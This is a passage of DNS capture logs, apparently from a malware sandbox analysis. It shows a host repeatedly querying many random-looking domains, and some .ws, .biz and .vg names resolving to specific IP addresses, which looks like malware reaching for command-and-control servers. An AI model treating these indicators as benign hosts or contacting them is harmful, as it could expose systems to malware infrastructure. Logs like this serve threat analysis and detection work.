Sep 7, 2024 15:36:49.383758068 CEST	192.168.2.3	1.1.1.1	0x84f2	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:50.701255083 CEST	192.168.2.3	1.1.1.1	0xcabe	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:50.874684095 CEST	192.168.2.3	1.1.1.1	0x3b23	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.304809093 CEST	192.168.2.3	1.1.1.1	0x740	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.538772106 CEST	192.168.2.3	1.1.1.1	0xc9af	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.788858891 CEST	192.168.2.3	1.1.1.1	0xc9af	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.898989916 CEST	192.168.2.3	1.1.1.1	0x4e44	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:53.167172909 CEST	192.168.2.3	1.1.1.1	0x4e44	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:53.749188900 CEST	192.168.2.3	1.1.1.1	0xe2fb	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.039427042 CEST	192.168.2.3	1.1.1.1	0x694f	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.172935009 CEST	192.168.2.3	1.1.1.1	0x9757	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.353913069 CEST	192.168.2.3	1.1.1.1	0xdbcf	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.601351023 CEST	192.168.2.3	1.1.1.1	0xdbcf	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.854007006 CEST	192.168.2.3	1.1.1.1	0x582b	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.101470947 CEST	192.168.2.3	1.1.1.1	0x582b	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.461020947 CEST	192.168.2.3	1.1.1.1	0xcefb	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.471777916 CEST	192.168.2.3	1.1.1.1	0xe82d	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.586122036 CEST	192.168.2.3	1.1.1.1	0x45ba	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.775409937 CEST	192.168.2.3	1.1.1.1	0xd3f6	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:57.070246935 CEST	192.168.2.3	1.1.1.1	0x5637	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:57.314639091 CEST	192.168.2.3	1.1.1.1	0xf83a	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:57.554332018 CEST	192.168.2.3	1.1.1.1	0xf83a	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:58.914134979 CEST	192.168.2.3	1.1.1.1	0xbe99	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:58.988159895 CEST	192.168.2.3	1.1.1.1	0xcf41	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:59.226625919 CEST	192.168.2.3	1.1.1.1	0x988f	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:59.238018990 CEST	192.168.2.3	1.1.1.1	0xd9f4	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.507972002 CEST	192.168.2.3	1.1.1.1	0x2c5c	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.694482088 CEST	192.168.2.3	1.1.1.1	0x7e67	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.929388046 CEST	192.168.2.3	1.1.1.1	0x7e67	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:01.056138039 CEST	192.168.2.3	1.1.1.1	0x6cfb	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:01.245352030 CEST	192.168.2.3	1.1.1.1	0x2a17	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.023494005 CEST	192.168.2.3	1.1.1.1	0x834	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.190797091 CEST	192.168.2.3	1.1.1.1	0x8b99	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.555108070 CEST	192.168.2.3	1.1.1.1	0x8fcc	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.822154045 CEST	192.168.2.3	1.1.1.1	0x8fcc	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.831479073 CEST	192.168.2.3	1.1.1.1	0x5cf4	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.242945910 CEST	192.168.2.3	1.1.1.1	0x75e5	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.492510080 CEST	192.168.2.3	1.1.1.1	0x75e5	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.510132074 CEST	192.168.2.3	1.1.1.1	0x8b92	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.632882118 CEST	192.168.2.3	1.1.1.1	0x35c6	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.666184902 CEST	192.168.2.3	1.1.1.1	0x7bdd	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.789793015 CEST	192.168.2.3	1.1.1.1	0x6635	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.806539059 CEST	192.168.2.3	1.1.1.1	0xd1cb	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.930742025 CEST	192.168.2.3	1.1.1.1	0xa996	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:08.099911928 CEST	192.168.2.3	1.1.1.1	0x9bad	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:10.705826998 CEST	192.168.2.3	1.1.1.1	0xeee1	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:10.944920063 CEST	192.168.2.3	1.1.1.1	0xeee1	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:10.988043070 CEST	192.168.2.3	1.1.1.1	0x95d4	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:14.867784023 CEST	192.168.2.3	1.1.1.1	0x6aec	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.135397911 CEST	192.168.2.3	1.1.1.1	0x6aec	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.206281900 CEST	192.168.2.3	1.1.1.1	0xb93b	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.351794958 CEST	192.168.2.3	1.1.1.1	0xa16e	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.363281012 CEST	192.168.2.3	1.1.1.1	0xb1f7	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.492177963 CEST	192.168.2.3	1.1.1.1	0xcb4f	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.533962965 CEST	192.168.2.3	1.1.1.1	0xa206	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.679842949 CEST	192.168.2.3	1.1.1.1	0x2b2a	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.780270100 CEST	192.168.2.3	1.1.1.1	0xb495	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.144141912 CEST	192.168.2.3	1.1.1.1	0x4766	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.244820118 CEST	192.168.2.3	1.1.1.1	0x10c1	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.496495962 CEST	192.168.2.3	1.1.1.1	0x10c1	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.695590973 CEST	192.168.2.3	1.1.1.1	0xa8e4	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.960882902 CEST	192.168.2.3	1.1.1.1	0xa8e4	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:17.049788952 CEST	192.168.2.3	1.1.1.1	0xf4cc	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.351584911 CEST	192.168.2.3	1.1.1.1	0x461d	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.617362976 CEST	192.168.2.3	1.1.1.1	0x461d	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.648444891 CEST	192.168.2.3	1.1.1.1	0x4106	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:21.070900917 CEST	192.168.2.3	1.1.1.1	0xde74	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:21.088061094 CEST	192.168.2.3	1.1.1.1	0xbc76	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:22.572748899 CEST	192.168.2.3	1.1.1.1	0x4080	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:22.768609047 CEST	192.168.2.3	1.1.1.1	0xddc0	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:23.057959080 CEST	192.168.2.3	1.1.1.1	0x86c6	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:23.245412111 CEST	192.168.2.3	1.1.1.1	0x2368	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.024743080 CEST	192.168.2.3	1.1.1.1	0x23fd	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.188294888 CEST	192.168.2.3	1.1.1.1	0xb9b4	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.444996119 CEST	192.168.2.3	1.1.1.1	0xb9b4	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.773986101 CEST	192.168.2.3	1.1.1.1	0x7687	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.833298922 CEST	192.168.2.3	1.1.1.1	0x6843	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.976587057 CEST	192.168.2.3	1.1.1.1	0xd563	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.999784946 CEST	192.168.2.3	1.1.1.1	0xef78	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:29.271255970 CEST	192.168.2.3	1.1.1.1	0xef78	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:30.539762020 CEST	192.168.2.3	1.1.1.1	0x5919	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:30.728709936 CEST	192.168.2.3	1.1.1.1	0x1705	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.151479959 CEST	192.168.2.3	1.1.1.1	0x62e6	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.414316893 CEST	192.168.2.3	1.1.1.1	0x62e6	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.447379112 CEST	192.168.2.3	1.1.1.1	0xaf99	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.804791927 CEST	192.168.2.3	1.1.1.1	0xfdaf	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:33.070218086 CEST	192.168.2.3	1.1.1.1	0xfdaf	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:33.092209101 CEST	192.168.2.3	1.1.1.1	0x4bd7	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.413995028 CEST	192.168.2.3	1.1.1.1	0xddeb	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.492377996 CEST	192.168.2.3	1.1.1.1	0x1f1c	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.664113045 CEST	192.168.2.3	1.1.1.1	0xbe0a	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.757158041 CEST	192.168.2.3	1.1.1.1	0x9df6	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.992266893 CEST	192.168.2.3	1.1.1.1	0x9df6	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.415749073 CEST	192.168.2.3	1.1.1.1	0x6827	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.450012922 CEST	192.168.2.3	1.1.1.1	0xa9d1	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.570264101 CEST	192.168.2.3	1.1.1.1	0xe4c8	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.808367968 CEST	192.168.2.3	1.1.1.1	0x228d	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.085978031 CEST	192.168.2.3	1.1.1.1	0x94d1	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.195385933 CEST	192.168.2.3	1.1.1.1	0x5cf1	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.539074898 CEST	192.168.2.3	1.1.1.1	0x2ba5	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.685086966 CEST	192.168.2.3	1.1.1.1	0x12b9	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.838608027 CEST	192.168.2.3	1.1.1.1	0x9aed	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.854924917 CEST	192.168.2.3	1.1.1.1	0x398e	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.188143015 CEST	192.168.2.3	1.1.1.1	0x42f6	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.483095884 CEST	192.168.2.3	1.1.1.1	0xab2e	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.742445946 CEST	192.168.2.3	1.1.1.1	0xab2e	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.883394003 CEST	192.168.2.3	1.1.1.1	0xc46c	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.982351065 CEST	192.168.2.3	1.1.1.1	0x4df0	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:42.571883917 CEST	192.168.2.3	1.1.1.1	0x22d	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:42.795030117 CEST	192.168.2.3	1.1.1.1	0x3bf0	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:43.055358887 CEST	192.168.2.3	1.1.1.1	0x967	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:43.346254110 CEST	192.168.2.3	1.1.1.1	0xd606	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.274811029 CEST	192.168.2.3	1.1.1.1	0x1eb1	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.503232956 CEST	192.168.2.3	1.1.1.1	0xe0fd	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.789700031 CEST	192.168.2.3	1.1.1.1	0x4714	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.819061041 CEST	192.168.2.3	1.1.1.1	0xa56	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.930182934 CEST	192.168.2.3	1.1.1.1	0xcb2d	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.944263935 CEST	192.168.2.3	1.1.1.1	0xa1d	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:46.085993052 CEST	192.168.2.3	1.1.1.1	0x5e8	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:46.259809017 CEST	192.168.2.3	1.1.1.1	0xbaba	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:48.829310894 CEST	192.168.2.3	1.1.1.1	0x6674	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:49.018682957 CEST	192.168.2.3	1.1.1.1	0xbd0b	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:49.257594109 CEST	192.168.2.3	1.1.1.1	0xbd0b	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:52.805083990 CEST	192.168.2.3	1.1.1.1	0xf61	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:52.854727983 CEST	192.168.2.3	1.1.1.1	0xdd8b	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:53.101277113 CEST	192.168.2.3	1.1.1.1	0xdd8b	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:53.773926020 CEST	192.168.2.3	1.1.1.1	0xdb32	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.024019003 CEST	192.168.2.3	1.1.1.1	0xdb32	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.051827908 CEST	192.168.2.3	1.1.1.1	0xc0f9	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.165100098 CEST	192.168.2.3	1.1.1.1	0xa7bd	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.202974081 CEST	192.168.2.3	1.1.1.1	0x9f88	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.351751089 CEST	192.168.2.3	1.1.1.1	0x24aa	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.451472044 CEST	192.168.2.3	1.1.1.1	0x6e20	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.789252043 CEST	192.168.2.3	1.1.1.1	0xa4e	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.799510956 CEST	192.168.2.3	1.1.1.1	0x5396	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.009727001 CEST	192.168.2.3	1.1.1.1	0x1b78	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.022922993 CEST	192.168.2.3	1.1.1.1	0x4cf6	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.288650990 CEST	192.168.2.3	1.1.1.1	0x4cf6	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.558234930 CEST	192.168.2.3	1.1.1.1	0x51ea	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.586287975 CEST	192.168.2.3	1.1.1.1	0x1227	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.851383924 CEST	192.168.2.3	1.1.1.1	0x1227	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:59.351511955 CEST	192.168.2.3	1.1.1.1	0x2ff8	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:59.783140898 CEST	192.168.2.3	1.1.1.1	0xc251	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 7, 2024 15:33:55.661371946 CEST	1.1.1.1	192.168.2.3	0x4e57	Name error (3)	gmomhogqcqo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:56.107249975 CEST	1.1.1.1	192.168.2.3	0x6fc7	Name error (3)	gmomhogqcqo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:56.275036097 CEST	1.1.1.1	192.168.2.3	0xfe8d	No error (0)	gcqiwuurhamq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.358258963 CEST	1.1.1.1	192.168.2.3	0xbd94	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.358258963 CEST	1.1.1.1	192.168.2.3	0xbd94	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.358284950 CEST	1.1.1.1	192.168.2.3	0xbd94	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.358284950 CEST	1.1.1.1	192.168.2.3	0xbd94	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077667952 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077667952 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077687979 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077687979 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077697992 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.077697992 CEST	1.1.1.1	192.168.2.3	0x2e9c	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.880161047 CEST	1.1.1.1	192.168.2.3	0x656d	Name error (3)	qhncbseaikqo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.921463013 CEST	1.1.1.1	192.168.2.3	0x1c17	Name error (3)	qhncbseaikqo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:01.083581924 CEST	1.1.1.1	192.168.2.3	0x1461	No error (0)	msqnej.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:02.383157969 CEST	1.1.1.1	192.168.2.3	0x48c0	No error (0)	qsmnhmikgb.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:03.521614075 CEST	1.1.1.1	192.168.2.3	0xc38f	No error (0)	muizcaelkbpus.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.738013983 CEST	1.1.1.1	192.168.2.3	0x2cde	Name error (3)	ssgum.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.784259081 CEST	1.1.1.1	192.168.2.3	0xa6d3	Name error (3)	ssgum.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.915515900 CEST	1.1.1.1	192.168.2.3	0x9160	Name error (3)	daqpka.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.197225094 CEST	1.1.1.1	192.168.2.3	0x8932	Name error (3)	daqpka.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.467012882 CEST	1.1.1.1	192.168.2.3	0x96cc	Name error (3)	bgrauma.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.633270979 CEST	1.1.1.1	192.168.2.3	0x48a4	Name error (3)	bgrauma.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.975270987 CEST	1.1.1.1	192.168.2.3	0x96fa	Name error (3)	uesvxrdym.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.218828917 CEST	1.1.1.1	192.168.2.3	0x6e6f	Name error (3)	uesvxrdym.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.371860027 CEST	1.1.1.1	192.168.2.3	0x9519	Name error (3)	taesmoqeisc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.405999899 CEST	1.1.1.1	192.168.2.3	0x411a	Name error (3)	taesmoqeisc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.550746918 CEST	1.1.1.1	192.168.2.3	0xc734	No error (0)	haofpecu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:07.913227081 CEST	1.1.1.1	192.168.2.3	0x46eb	Name error (3)	ipemvw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:08.248158932 CEST	1.1.1.1	192.168.2.3	0x636d	Name error (3)	ipemvw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:08.375447989 CEST	1.1.1.1	192.168.2.3	0x9e1e	No error (0)	kwdscx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:09.538950920 CEST	1.1.1.1	192.168.2.3	0xbb2	Name error (3)	lhorellqnmqnh.rw	none	none	A (IP address)	IN (0x0001)	false
